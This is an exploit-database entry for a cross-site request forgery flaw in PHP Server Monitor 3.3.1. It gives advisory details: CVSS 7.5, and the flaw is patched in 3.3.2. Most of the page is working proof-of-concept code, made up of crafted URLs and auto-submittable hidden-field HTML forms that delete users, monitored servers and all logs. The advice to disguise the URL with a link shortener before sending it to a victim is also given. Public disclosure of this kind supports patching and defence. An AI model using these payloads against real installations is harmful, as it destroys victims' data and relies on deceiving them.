PHP Server Monitor 3.3.1 - Cross-Site Request Forgery

vendor:

PHP Server Monitor

by:

Javier Olmedo

7.5

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: PHP Server Monitor

Affected Version From: 3.3.1

Affected Version To: 3.3.1

Patch Exists: YES

Related CWE: N/A

CPE: a:phpservermon:phpservermon:3.3.1

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows & Ubuntu

2018

PHP Server Monitor 3.3.1 – Cross-Site Request Forgery

PHP Server Monitor version 3.3.1 and possibly before are affected by multiple Cross-Site Request Forgery vulnerability, an attacker could remove users, logs, and servers. The attacker can use Google URL Shortener (or similar) to shorten the malicious URL and send it to the victim, or use a form with hidden inputs to send it to the victim.

Mitigation:

Update to version 3.3.2

Source

Exploit-DB raw data:

# Exploit Title: PHP Server Monitor 3.3.1 - Cross-Site Request Forgery
# Exploit Author: Javier Olmedo
# Website: https://www.sidertia.com
# Date: 2018-11-28
# Google Dork: N/A
# Vendor: https://www.phpservermonitor.org/
# Software Link: https://github.com/phpservermon/phpservermon/releases/tag/v3.3.1
# Affected Version: 3.3.1 and possibly before
# Patched Version: update to 3.3.2
# Category: Web Application
# Platform: Windows & Ubuntu
# Tested on: Win10x64 & Kali Linux
# CVE: N/A
# References:
# https://github.com/phpservermon/phpservermon/issues/670
# https://www.sidertia.com/Home/Community/Blog/2018/11/28/Corregidas-las-vulnerabilidades-CSRF-descubiertas-en-PHP-Server-Monitor
   
# 1. Technical Description:
# PHP Server Monitor version 3.3.1 and possibly before are affected by multiple
# Cross-Site Request Forgery vulnerability, an attacker could remove users, logs,
# and servers.
 
# 2.1 Proof Of Concept (Delete User):

(Method 1)
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=user&action=delete&id=[ID]) and send it to the victim.

(Method 2)
Use next form and send it tho the victim.
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[PATH]/">
      <input type="hidden" name="mod" value="user" />
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="id" value="[ID]" />
      <input type="submit" value="Delete User" />
    </form>
  </body>
</html>

# 2.2 Proof Of Concept (Delete Server):

(Method 1)
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=server&action=delete&id=[ID]) and send it to the victim.

(Method 2)
Use next form and send it tho the victim.
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[PATH]/">
      <input type="hidden" name="mod" value="server" />
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="id" value="[ID]" />
      <input type="submit" value="Delete Server" />
    </form>
  </body>
</html>

# 2.3 Proof Of Concept (Delete All Logs):

(Method 1)
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=server_log&action=delete) and send it to the victim.

(Method 2)
Use next form and send it tho the victim.
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[PATH]/">
      <input type="hidden" name="mod" value="server&#95;log" />
      <input type="hidden" name="action" value="delete" />
      <input type="submit" value="Delete All Logs" />
    </form>
  </body>
</html>